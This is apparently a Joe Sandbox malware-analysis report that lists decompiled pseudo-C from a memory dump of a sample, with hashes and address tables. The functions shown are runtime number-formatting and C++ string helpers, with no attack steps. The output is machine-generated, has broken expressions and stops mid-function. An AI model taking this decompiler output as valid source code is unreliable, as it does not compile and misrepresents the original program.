Opcode ID: 7c14589c0f0ea6860b7c0d8dfd458f11f3b6a3f5a9aed48f5384200963ed9385
Instruction ID: 6c877b05df3d304be64556d01eb14b0d0e24a112ff7487c38dae0b1f542c2c3e
Opcode Fuzzy Hash: 7c14589c0f0ea6860b7c0d8dfd458f11f3b6a3f5a9aed48f5384200963ed9385
Instruction Fuzzy Hash: E67147B1A093109FC7049F1AD88465BFBE4EF89754F05C96EF8889B312D378D845CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 003FF1C0 Relevance: 5.3, Strings: 4, Instructions: 342
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E003FF1C0(signed int __eax, void* __ecx, signed int __edx, void* __eflags) {
				signed int _t168;
				signed int _t171;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				signed int _t177;
				signed int _t178;
				signed int _t186;
				signed int _t195;
				void* _t196;
				signed int _t199;
				signed int _t208;
				signed int _t215;
				signed int _t220;
				signed int _t223;
				signed int _t228;
				signed int _t234;
				intOrPtr _t238;
				void* _t239;
				signed int _t240;
				signed char _t241;
				signed int _t242;
				signed int _t247;
				signed int _t251;
				signed int _t252;
				signed char _t256;
				signed char _t261;
				signed char _t264;
				unsigned int _t266;
				signed int _t267;
				signed int _t288;
				signed int _t292;
				unsigned int _t293;
				signed int _t297;
				signed int _t298;
				void* _t299;
				void* _t300;
				void* _t302;
				signed int _t306;
				signed int _t307;
				unsigned int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				void* _t314;
				signed int _t318;
				signed int _t320;
				signed int _t324;
				signed int _t325;
				signed int _t326;
				void* _t327;
				signed int _t328;
				void* _t329;

				_t239 = __ecx;
				 *(_t329 + 0x10) = __eax;
				_t238 =  *((intOrPtr*)(_t329 + 0x60));
				_t168 = (__eax | __edx) & 0xffffff00 | __eflags != 0x00000000;
				 *(_t329 + 0x14) = __edx;
				_t310 = _t168;
				if(__ecx != 0) {
					L2:
					 *(_t329 + 0x18) = _t239 - 3;
					L3:
					_t324 =  *(_t238 + 0xc);
					 *(_t329 + 4) = _t324 > 0;
					if(_t324 > 0xe) {
						__eflags = _t310;
						if(_t310 != 0) {
							L28:
							_t325 = 0x10;
							L31:
							_t171 = _t329 + 0x28;
							_t266 =  *(_t329 + 0x14);
							 *(_t329 + 4) = _t171;
							_t311 = _t171;
							_t172 =  *(_t238 + 4);
							 *(_t329 + 0xc) = _t172;
							_t173 = _t172 & 0x00000020;
							__eflags = _t173;
							 *(_t329 + 8) = _t173;
							_t174 =  *(_t329 + 0x10);
							do {
								_t297 = _t174 & 0x0000000f;
								__eflags = _t325 - 1;
								if(_t325 == 1) {
									__eflags = _t311 -  *(_t329 + 4);
									if(_t311 >  *(_t329 + 4)) {
										L62:
										 *_t311 = 0x2e;
										_t311 = _t311 + 1;
										L35:
										__eflags = _t297;
										if(_t297 != 0) {
											L56:
											_t240 = _t297;
											__eflags = _t297 - 9;
											if(_t297 <= 9) {
												L39:
												_t241 = _t240 + 0x30;
												__eflags = _t241;
												_t298 = _t311;
												L40:
												 *_t298 = _t241;
												_t311 = _t311 + 1;
												__eflags = _t311;
												goto L41;
											}
											_t298 = _t311;
											_t241 = _t297 + 0x00000037 |  *(_t329 + 8);
											goto L40;
										}
										_t240 = 0;
										__eflags = _t311 -  *(_t329 + 4);
										if(_t311 >  *(_t329 + 4)) {
											goto L39;
										}
										__eflags =  *(_t238 + 0xc);
										if( *(_t238 + 0xc) < 0) {
											goto L41;
										}
										L38:
										_t240 = 0;
										__eflags = 0;
										goto L39;
									}
									__eflags =  *(_t329 + 0xc) & 0x00000800;
									if(( *(_t329 + 0xc) & 0x00000800) != 0) {
										goto L62;
									}
									_t242 =  *(_t238 + 0xc);
									__eflags = _t242;
									if(_t242 <= 0) {
										__eflags = _t297;
										if(_t297 != 0) {
											goto L56;
										}
										__eflags = _t242;
										if(_t242 == 0) {
											goto L38;
										}
										break;
									}
									goto L62;
								}
								_t251 =  *(_t238 + 0xc);
								__eflags = _t251;
								if(_t251 > 0) {
									_t252 = _t251 - 1;
									__eflags = _t252;
									 *(_t238 + 0xc) = _t252;
								}
								goto L35;
								L41:
								_t174 = (_t266 << 0x00000020 | _t174) >> 4;
								_t266 = _t266 >> 4;
								_t325 = _t325 - 1;
								__eflags = _t325;
							} while (_t325 != 0);
							 *(_t329 + 8) =  *(_t329 + 0xc);
							__eflags = _t311 -  *(_t329 + 4);
							if(_t311 ==  *(_t329 + 4)) {
								__eflags =  *(_t238 + 0xc);
								if( *(_t238 + 0xc) <= 0) {
									L8:
									_t312 =  *(_t329 + 0xc);
									_t177 =  *(_t329 + 4);
									 *(_t329 + 8) = _t312;
									if((_t312 & 0x00000800) != 0) {
										 *(_t329 + 0x28) = 0x2e;
										_t177 = _t329 + 0x29;
									}
									L10:
									_t311 = _t177 + 1;
									 *_t177 = 0x30;
									_t178 =  *(_t238 + 8);
									 *(_t329 + 0x1c) = _t178;
									if(_t178 > 0) {
										L44:
										_t267 =  *(_t238 + 0xc);
										_t180 = _t311 -  *(_t329 + 4);
										_t326 =  *(_t329 + 0x18);
										__eflags = _t267;
										_t181 =  >  ? _t311 -  *(_t329 + 4) + _t267 : _t180;
										 *(_t329 + 0x10) = _t326;
										__eflags =  *(_t329 + 0xc) & 0x000001c0;
										_t118 = (0 | ( *(_t329 + 0xc) & 0x000001c0) != 0x00000000) + 5; // 0x5
										_t299 = ( >  ? _t311 -  *(_t329 + 4) + _t267 : _t180) + _t118;
										_t327 = _t299;
										_t247 = (_t326 * 0x66666667 >> 0x20 >> 2) - (_t326 >> 0x1f);
										__eflags = _t247;
										if(_t247 == 0) {
											_t300 = 2;
											L48:
											_t186 =  *(_t329 + 0x1c);
											__eflags = _t186 - _t327;
											if(_t186 <= _t327) {
												 *(_t238 + 8) = 0xffffffff;
												L12:
												if(( *(_t329 + 8) & 0x00000080) != 0) {
													L55:
													L003FDE50(0x2d, _t238);
													L15:
													L003FDE50(0x30, _t238);
													L003FDE50( *(_t238 + 4) & 0x00000020 | 0x00000058, _t238);
													_t195 =  *(_t238 + 8);
													if(_t195 <= 0 || ( *(_t238 + 5) & 0x00000002) == 0) {
														L19:
														_t328 =  *(_t329 + 4);
														if(_t311 >  *(_t329 + 4)) {
															do {
																_t311 = _t311 - 1;
																_t196 =  *_t311;
																__eflags = _t196 - 0x2e;
																if(_t196 == 0x2e) {
																	E003FE190(_t238);
																} else {
																	__eflags = _t196 - 0x2c;
																	if(_t196 == 0x2c) {
																		_t208 =  *(_t238 + 0x1c) & 0x0000ffff;
																		 *(_t329 + 0x26) = _t208;
																		__eflags = _t208;
																		if(__eflags != 0) {
																			L003FDEB0(_t329 + 0x26, _t238, 1, __eflags);
																		}
																	} else {
																		L003FDE50(_t196, _t238);
																	}
																}
																__eflags = _t311 - _t328;
															} while (_t311 != _t328);
															goto L64;
														} else {
															while(1) {
																L64:
																_t199 =  *(_t238 + 0xc);
																 *(_t238 + 0xc) = _t199 - 1;
																if(_t199 <= 0) {
																	break;
																}
																L003FDE50(0x30, _t238);
															}
															L003FDE50( *(_t238 + 4) & 0x00000020 | 0x00000050, _t238);
															 *(_t238 + 8) =  *(_t238 + 8) + _t300;
															 *(_t238 + 4) =  *(_t238 + 4) | 0x000001c0;
															asm("cdq");
															return E003FE6D0( *(_t329 + 0x10), _t238, _t238);
														}
													} else {
														 *(_t238 + 8) = _t195 - 1;
														do {
															L003FDE50(0x30, _t238);
															_t215 =  *(_t238 + 8);
															 *(_t238 + 8) = _t215 - 1;
														} while (_t215 > 0);
														goto L19;
													}
												}
												L13:
												if(( *(_t329 + 8) & 0x00000100) != 0) {
													L003FDE50(0x2b, _t238);
												} else {
													if(( *(_t329 + 8) & 0x00000040) != 0) {
														L003FDE50(0x20, _t238);
													}
												}
												goto L15;
											}
											_t220 = _t186 - _t327;
											__eflags =  *(_t329 + 0xc) & 0x00000600;
											if(( *(_t329 + 0xc) & 0x00000600) != 0) {
												 *(_t238 + 8) = _t220;
												goto L12;
											}
											 *(_t238 + 8) = _t220 - 1;
											__eflags = _t220;
											if(_t220 <= 0) {
												goto L12;
											}
											do {
												L003FDE50(0x20, _t238);
												_t223 =  *(_t238 + 8);
												 *(_t238 + 8) = _t223 - 1;
												__eflags = _t223;
											} while (_t223 > 0);
											 *(_t329 + 8) =  *(_t238 + 4);
											__eflags =  *(_t329 + 8) & 0x00000080;
											if(( *(_t329 + 8) & 0x00000080) == 0) {
												goto L13;
											}
											goto L55;
										}
										 *(_t329 + 0x18) = _t311;
										_t314 = _t299;
										do {
											_t327 = _t327 + 1;
											_t128 = _t327 + 2; // 0x6
											_t302 = _t128 - _t314;
											_t288 = (0x66666667 * _t247 >> 0x20 >> 2) - (_t247 >> 0x1f);
											__eflags = _t288;
											_t247 = _t288;
										} while (_t288 != 0);
										_t311 =  *(_t329 + 0x18);
										_t300 = _t302;
										goto L48;
									}
									L11:
									_t300 = 2;
									 *(_t329 + 0x10) =  *(_t329 + 0x18);
									goto L12;
								}
								 *(_t329 + 0x28) = 0x2e;
								_t177 = _t329 + 0x29;
								goto L10;
							}
							_t228 =  *(_t238 + 8);
							 *(_t329 + 0x1c) = _t228;
							__eflags = _t228;
							if(_t228 <= 0) {
								goto L11;
							}
							goto L44;
						}
						__eflags =  *(_t329 + 4);
						if( *(_t329 + 4) == 0) {
							L7:
							 *(_t329 + 4) = _t329 + 0x28;
							 *(_t329 + 0xc) =  *(_t238 + 4);
							goto L8;
						}
						goto L28;
					}
					_t256 = 0xe - _t324 << 2;
					_t306 =  !=  ? 4 : 0xbadbad << _t256;
					_t317 =  !=  ? 0 : 4 << _t256;
					_t318 = ( !=  ? 0 : 4 << _t256) + (( *(_t329 + 0x14) << 0x00000020 |  *(_t329 + 0x10)) >> 1);
					asm("adc edi, ecx");
					if(_t306 < 0) {
						_t292 = _t306 >> 3;
						_t234 = (_t306 << 0x00000020 | _t318) >> 3;
						 *(_t329 + 0x18) =  *(_t329 + 0x18) + 4;
						_t261 = 0xf - _t324 << 2;
						_t293 = _t292 >> _t261;
						__eflags = _t261 & 0x00000020;
						_t236 =  !=  ? _t293 : (_t292 << 0x00000020 | _t234) >> _t261;
						_t294 =  !=  ? 0 : _t293;
						 *(_t329 + 0x10) =  !=  ? _t293 : (_t292 << 0x00000020 | _t234) >> _t261;
						 *(_t329 + 0x14) =  !=  ? 0 : _t293;
						L30:
						_t325 = _t324 + 1;
						__eflags = _t325;
						goto L31;
					}
					_t307 = (_t306 << 0x00000020 | 0x00000004) << 1;
					_t320 = _t318 + _t318;
					_t264 = 0xf - _t324 << 2;
					_t308 = _t307 >> _t264;
					_t322 =  !=  ? _t308 : (_t307 << 0x00000020 | _t320) >> _t264;
					_t309 =  !=  ? 0 : _t308;
					 *(_t329 + 0x10) = 4;
					_t323 = ( !=  ? _t308 : (_t307 << 0x00000020 | _t320) >> _t264) | _t309;
					_t338 = ( !=  ? _t308 : (_t307 << 0x00000020 | _t320) >> _t264) | _t309;
					 *(_t329 + 0x14) = _t309;
					if((( !=  ? _t308 : (_t307 << 0x00000020 | _t320) >> _t264) | _t309) != 0 ||  *(_t329 + 4) != 0) {
						goto L30;
					} else {
						goto L7;
					}
				}
				 *(_t329 + 0x18) = 0;
				if(_t168 == 0) {
					goto L3;
				}
				goto L2;
			}

0x003ff1c0
0x003ff1c7
0x003ff1cd
0x003ff1d1
0x003ff1d4
0x003ff1d8
0x003ff1dd
0x003ff1ea
0x003ff1ed
0x003ff1f2
0x003ff1f2
0x003ff1f7
0x003ff1ff
0x003ff392
0x003ff394
0x003ff3a1
0x003ff3a1
0x003ff3e6
0x003ff3e6
0x003ff3ea
0x003ff3ee
0x003ff3f2
0x003ff3f4
0x003ff3f7
0x003ff3fb
0x003ff3fb
0x003ff3fe
0x003ff402
0x003ff410
0x003ff412
0x003ff415
0x003ff418
0x003ff580
0x003ff584
0x003ff5a0
0x003ff5a0
0x003ff5a3
0x003ff42b
0x003ff42b
0x003ff42d
0x003ff561
0x003ff561
0x003ff563
0x003ff566
0x003ff444
0x003ff444
0x003ff444
0x003ff447
0x003ff449
0x003ff449
0x003ff44b
0x003ff44b
0x00000000
0x003ff44b
0x003ff56f
0x003ff571
0x00000000
0x003ff571
0x003ff433
0x003ff435
0x003ff439
0x00000000
0x00000000
0x003ff43e
0x003ff440
0x00000000
0x00000000
0x003ff442
0x003ff442
0x003ff442
0x00000000
0x003ff442
0x003ff586
0x003ff58e
0x00000000
0x00000000
0x003ff590
0x003ff593
0x003ff595
0x003ff681
0x003ff683
0x00000000
0x00000000
0x003ff689
0x003ff68b
0x00000000
0x00000000
0x00000000
0x003ff691
0x00000000
0x003ff595
0x003ff41e
0x003ff421
0x003ff423
0x003ff425
0x003ff425
0x003ff428
0x003ff428
0x00000000
0x003ff44e
0x003ff44e
0x003ff452
0x003ff455
0x003ff455
0x003ff455
0x003ff45e
0x003ff462
0x003ff466
0x003ff653
0x003ff655
0x003ff28c
0x003ff28c
0x003ff290
0x003ff294
0x003ff29e
0x003ff2a0
0x003ff2a5
0x003ff2a5
0x003ff2a9
0x003ff2a9
0x003ff2ac
0x003ff2af
0x003ff2b2
0x003ff2b8
0x003ff47b
0x003ff47b
0x003ff480
0x003ff484
0x003ff48c
0x003ff48e
0x003ff498
0x003ff49c
0x003ff4a7
0x003ff4a7
0x003ff4b1
0x003ff4bb
0x003ff4bb
0x003ff4bd
0x003ff696
0x003ff4f2
0x003ff4f2
0x003ff4f6
0x003ff4f8
0x003ff625
0x003ff2cc
0x003ff2d1
0x003ff550
0x003ff557
0x003ff2f0
0x003ff2f7
0x003ff307
0x003ff30c
0x003ff311
0x003ff339
0x003ff339
0x003ff341
0x003ff36a
0x003ff36a
0x003ff36d
0x003ff370
0x003ff373
0x003ff602
0x003ff379
0x003ff379
0x003ff37c
0x003ff350
0x003ff354
0x003ff359
0x003ff35c
0x003ff61b
0x003ff61b
0x003ff37e
0x003ff380
0x003ff380
0x003ff37c
0x003ff362
0x003ff362
0x00000000
0x003ff343
0x003ff5bc
0x003ff5bc
0x003ff5bc
0x003ff5c2
0x003ff5c7
0x00000000
0x00000000
0x003ff5b7
0x003ff5b7
0x003ff5d4
0x003ff5d9
0x003ff5e2
0x003ff5e9
0x003ff5f6
0x003ff5f6
0x003ff319
0x003ff31c
0x003ff320
0x003ff327
0x003ff32c
0x003ff332
0x003ff335
0x00000000
0x003ff320
0x003ff311
0x003ff2d7
0x003ff2df
0x003ff638
0x003ff2e5
0x003ff2ea
0x003ff677
0x003ff677
0x003ff2ea
0x00000000
0x003ff2df
0x003ff4fe
0x003ff500
0x003ff508
0x003ff642
0x00000000
0x003ff642
0x003ff511
0x003ff514
0x003ff516
0x00000000
0x00000000
0x003ff520
0x003ff527
0x003ff52c
0x003ff532
0x003ff535
0x003ff535
0x003ff53c
0x003ff540
0x003ff545
0x00000000
0x00000000
0x00000000
0x003ff545
0x003ff4c3
0x003ff4c7
0x003ff4d0
0x003ff4d5
0x003ff4da
0x003ff4e0
0x003ff4e5
0x003ff4e5
0x003ff4e7
0x003ff4e7
0x003ff4eb
0x003ff4ef
0x00000000
0x003ff4ef
0x003ff2be
0x003ff2c3
0x003ff2c8
0x00000000
0x003ff2c8
0x003ff65b
0x003ff660
0x00000000
0x003ff660
0x003ff46c
0x003ff46f
0x003ff473
0x003ff475
0x00000000
0x00000000
0x00000000
0x003ff475
0x003ff396
0x003ff39b
0x003ff27d
0x003ff281
0x003ff288
0x00000000
0x003ff288
0x00000000
0x003ff39b
0x003ff219
0x003ff228
0x003ff22b
0x003ff236
0x003ff238
0x003ff23c
0x003ff3bb
0x003ff3c0
0x003ff3c4
0x003ff3ca
0x003ff3d0
0x003ff3d2
0x003ff3d5
0x003ff3d8
0x003ff3db
0x003ff3df
0x003ff3e3
0x003ff3e3
0x003ff3e3
0x00000000
0x003ff3e3
0x003ff247
0x003ff24b
0x003ff251
0x003ff257
0x003ff25c
0x003ff25f
0x003ff262
0x003ff266
0x003ff266
0x003ff268
0x003ff26c
0x00000000
0x00000000
0x00000000
0x00000000
0x003ff26c
0x003ff1e1
0x003ff1e8
0x00000000
0x00000000
0x00000000

Strings

., xrefs: 003FF65B
@, xrefs: 003FF2E5
gfff, xrefs: 003FF4D0
gfff, xrefs: 003FF493

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: ec51451c8c2a24db549b85963e25d05f0748d180ee0fbb974f539398fa4c0742
Instruction ID: 9265cd7ef6db47eb2903a04142af1314b0da3a1f46879162e33bd1ce308dc577
Opcode Fuzzy Hash: ec51451c8c2a24db549b85963e25d05f0748d180ee0fbb974f539398fa4c0742
Instruction Fuzzy Hash: 0DC1AE75A0430A8FD716DE29C48433ABBD2AF84754F1A893DEE99DB355D734DC088B82

Uniqueness

Uniqueness Score: -1.00%

Function 00482FD0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00483040
memset.MSVCRT ref: 00483064

Strings

basic_string::_M_replace_aux, xrefs: 004830E0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memmovememset
String ID: basic_string::_M_replace_aux
API String ID: 1288253900-2536181960
Opcode ID: 202041335cc40eda75af54160ff0565f97b68928dbedc21f2631138d0f4a9168
Instruction ID: bc4f4b4c733f0fc2b06c14331c90cffa9c3b48e5114bbdfcb55e0c921972d0bd
Opcode Fuzzy Hash: 202041335cc40eda75af54160ff0565f97b68928dbedc21f2631138d0f4a9168
Instruction Fuzzy Hash: 2B3161756097108FC704AF29C48062FBBF1AF87B05F18896EE9948B309D739C945CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00458DA0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00458DA0(intOrPtr* __ecx, void* __ebp, char* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed char* _v28;
				int _v36;
				intOrPtr _v40;
				char* _v44;
				void* _v48;
				void* _v52;
				signed char* _v64;
				char _v68;
				void* _v76;
				void* _v80;
				void* __edi;
				intOrPtr* _t39;
				intOrPtr* _t45;
				intOrPtr _t47;
				char* _t49;
				intOrPtr _t50;
				char _t52;
				void* _t55;
				int _t58;
				signed char* _t59;
				int _t65;
				void* _t69;
				void* _t70;
				intOrPtr* _t71;
				void* _t72;

				_t38 = __ecx;
				_t70 = _t69 - 0x1c;
				_t45 =  *__ecx;
				_t47 = _a8;
				_t58 = _a12;
				_t49 = _a4;
				_t65 = _a16;
				if(_t47 + 0x3ffffffc -  *((intOrPtr*)(_t45 - 0xc)) < _t58) {
					_v44 = "basic_string::_M_replace_aux";
					L004997B0(_t47, _t49);
					_t39 = _t45;
					_t71 = _t70 - 0x10;
					_t50 = _v40;
					_t59 = _v28;
					_v64 = _t59;
					_v68 = _v36;
					 *_t71 = _t50;
					E0045AAF0(_t45, _t38, _t58, _t49);
					_t72 = _t71 - 0xc;
					if(_t59 == 0) {
						L9:
						return _t39;
					} else {
						_t52 = _t50 +  *_t39;
						if(_t59 == 1) {
							 *_t52 =  *_v28 & 0x000000ff;
							return _t39;
						} else {
							 *((intOrPtr*)(_t72 + 8)) = _t59;
							_v68 = _t52;
							_v64 = _v28;
							memcpy(??, ??, ??);
							goto L9;
						}
					}
				} else {
					_v36 = _t58;
					_v40 = _t47;
					_v44 = _t49;
					E0045AAF0(__ecx);
					if(_t58 == 0) {
						L4:
						return _t38;
					} else {
						_t55 =  &(_t49[ *__ecx]);
						if(_t58 == 1) {
							 *_t55 = _t65;
							return __ecx;
						} else {
							memset(_t55, _t65, _t58);
							goto L4;
						}
					}
				}
			}

0x00458da4
0x00458da6
0x00458da9
0x00458dab
0x00458daf
0x00458db3
0x00458db7
0x00458dc6
0x00458e20
0x00458e27
0x00458e33
0x00458e35
0x00458e38
0x00458e3c
0x00458e44
0x00458e48
0x00458e4c
0x00458e4f
0x00458e54
0x00458e59
0x00458e76
0x00458e7e
0x00458e5b
0x00458e5b
0x00458e60
0x00458e8f
0x00458e99
0x00458e62
0x00458e66
0x00458e6a
0x00458e6d
0x00458e71
0x00000000
0x00458e71
0x00458e60
0x00458dc8
0x00458dc8
0x00458dce
0x00458dd2
0x00458dd5
0x00458ddf
0x00458dfd
0x00458e06
0x00458de1
0x00458de1
0x00458de6
0x00458e12
0x00458e1d
0x00458de8
0x00458df8
0x00000000
0x00458df8
0x00458de6
0x00458ddf

APIs

memset.MSVCRT ref: 00458DF8
memcpy.MSVCRT ref: 00458E71

Part of subcall function 0045AAF0: memcpy.MSVCRT ref: 0045AB80

Strings

basic_string::_M_replace_aux, xrefs: 00458E20

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: basic_string::_M_replace_aux
API String ID: 438689982-2536181960
Opcode ID: b81f7445ccfe34f5e8edbce7d3dc873f414bcc195211fb4e6f51146b729cf118
Instruction ID: afeee9e978a4c5c4056f6ffa4da2830f4e1fd08e508c0a156450c6f82b0a52b3
Opcode Fuzzy Hash: b81f7445ccfe34f5e8edbce7d3dc873f414bcc195211fb4e6f51146b729cf118
Instruction Fuzzy Hash: D4213A72A093109FC300AE1D988141AFBF4EB85714F554A6FFC88A7352D77598548B96

Uniqueness

Uniqueness Score: -1.00%

Function 00450600 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00450600(intOrPtr* __ecx, void* _a4, int _a8, intOrPtr _a12) {
				void* _v0;
				intOrPtr _v32;
				int _v36;
				char* _v40;
				int _v80;
				signed int _v84;
				signed short* _v120;
				signed int _v124;
				int __ebx;
				signed int __edi;
				void* __esi;
				signed int __ebp;
				intOrPtr _t66;
				intOrPtr _t69;
				intOrPtr _t72;
				intOrPtr _t80;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				signed int _t86;
				signed int _t88;
				int _t89;
				signed int _t96;
				signed short* _t97;
				signed int _t100;
				int _t105;
				int _t106;
				signed short** _t107;
				void* _t108;
				int _t110;
				int _t111;
				signed int _t112;
				intOrPtr _t114;
				signed int _t115;
				void* _t117;
				char** _t118;
				void* _t119;
				void* _t121;

				_t83 = __ecx;
				_t118 = _t117 - 0x1c;
				_t105 = _a8;
				_t66 = _a12;
				_t80 =  *((intOrPtr*)( *_a4 - 0xc));
				if(_t80 < _t105) {
					_v32 = _t80;
					_v36 = _t105;
					_v40 = "basic_string::append";
					 *_t118 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
					L00493530(_t66, _t105, __eflags);
					_push(_t105);
					_push(_t80);
					_t81 = _t83;
					_t119 = _t118 - 0x1c;
					_t114 = _v32;
					_t106 = _v36;
					if(_t114 == 0) {
						L10:
						return _t81;
					} else {
						_t69 =  *_t83;
						_t96 =  *(_t69 - 0xc);
						_t85 = 0x1ffffffe - _t96;
						if(_t85 < _t114) {
							_v84 = "basic_string::append";
							L004997B0(_t96, _t106);
							_push(_t114);
							_push(_t106);
							_push(_t109);
							_push(_t81);
							_t82 = _t85;
							_t121 = _t119 - 0x1c;
							_t107 =  *(_t121 + 0x30);
							_t97 =  *_t107;
							_t110 =  *(_t97 - 0xc);
							__eflags = _t110;
							if(_t110 != 0) {
								_t72 =  *_t85;
								_t86 =  *(_t72 - 0xc);
								_t115 = _t86 + _t110;
								__eflags =  *((intOrPtr*)(_t72 - 8)) - _t115;
								if( *((intOrPtr*)(_t72 - 8)) >= _t115) {
									__eflags =  *0x4c3bd0;
									if( *0x4c3bd0 != 0) {
										__eflags =  *(_t72 - 4);
										if( *(_t72 - 4) > 0) {
											goto L22;
										} else {
											_t72 =  *_t82;
											_t97 =  *_t107;
											_t86 =  *(_t72 - 0xc);
											goto L23;
										}
									} else {
										__eflags =  *(_t72 - 4);
										if( *(_t72 - 4) > 0) {
											goto L22;
										} else {
											goto L23;
										}
									}
									goto L46;
								} else {
									L22:
									_v124 = _t115;
									L00451860(_t82);
									_t72 =  *_t82;
									_t97 =  *_t107;
									_t121 = _t121 - 4;
									_t86 =  *(_t72 - 0xc);
								}
								L23:
								_t88 = _t72 + _t86 * 2;
								__eflags = _t110 - 1;
								if(_t110 == 1) {
									 *_t88 =  *_t97 & 0x0000ffff;
								} else {
									_t111 = _t110 + _t110;
									__eflags = _t111;
									_v120 = _t97;
									 *(_t121 + 8) = _t111;
									_v124 = _t88;
									memcpy(??, ??, ??);
									_t72 =  *_t82;
								}
								__eflags = 0;
								 *(_t72 - 4) = 0;
								 *(_t72 - 0xc) = _t115;
								 *((short*)(_t72 + _t115 * 2)) = 0;
							}
							return _t82;
						} else {
							_t112 = _t114 + _t96;
							if( *((intOrPtr*)(_t69 - 8)) >= _t112) {
								_t89 =  *0x4c3bd0; // 0x2
								__eflags = _t89;
								if(_t89 != 0) {
									__eflags =  *(_t69 - 4);
									_t69 =  *_t81;
									if(__eflags > 0) {
										goto L4;
									} else {
										goto L12;
									}
								} else {
									__eflags =  *(_t69 - 4);
									if( *(_t69 - 4) <= 0) {
										goto L7;
									} else {
										goto L4;
									}
								}
								goto L46;
							} else {
								L4:
								if(_t106 < _t69 || _t69 +  *(_t69 - 0xc) * 2 < _t106) {
									_v84 = _t112;
									L00451860(_t81);
									_t69 =  *_t81;
									_t119 = _t119 - 4;
									_t96 =  *(_t69 - 0xc);
									L7:
									_t100 = _t69 + _t96 * 2;
									if(_t114 == 1) {
										goto L13;
									} else {
										goto L8;
									}
								} else {
									_v84 = _t112;
									_t108 = _t106 - _t69;
									L00451860(_t81);
									_t69 =  *_t81;
									_t119 = _t119 - 4;
									_t106 = _t108 + _t69;
									__eflags = _t106;
									L12:
									_t100 = _t69 +  *(_t69 - 0xc) * 2;
									__eflags = _t114 - 1;
									if(_t114 != 1) {
										L8:
										_v80 = _t106;
										 *((intOrPtr*)(_t119 + 8)) = _t114 + _t114;
										_v84 = _t100;
										memcpy(??, ??, ??);
										_t69 =  *_t81;
									} else {
										L13:
										 *_t100 =  *_t106 & 0x0000ffff;
									}
								}
							}
							 *(_t69 - 4) = 0;
							 *(_t69 - 0xc) = _t112;
							 *((short*)(_t69 + _t112 * 2)) = 0;
							goto L10;
						}
					}
				} else {
					__ebx = __ebx - __edi;
					__esi = __ecx;
					__eflags = __ebx - __eax;
					__ebx =  >  ? __eax : __ebx;
					__eflags = __ebx;
					if(__ebx != 0) {
						__eax =  *__ecx;
						__ecx =  *(__eax - 0xc);
						__ebp = __ecx + __ebx;
						__eflags =  *((intOrPtr*)(__eax - 8)) - __ebp;
						if( *((intOrPtr*)(__eax - 8)) < __ebp) {
							L37:
							 *__esp = __ebp;
							__ecx = __esi;
							__eax = L00451860(__esi);
							__esp = __esp - 4;
							__eax = _v0;
							__edx =  *_v0;
							__eax =  *__esi;
							__ecx =  *(__eax - 0xc);
						} else {
							__eflags =  *0x4c3bd0;
							if( *0x4c3bd0 != 0) {
								__eax =  *(__eax - 4);
								__eflags = __eax;
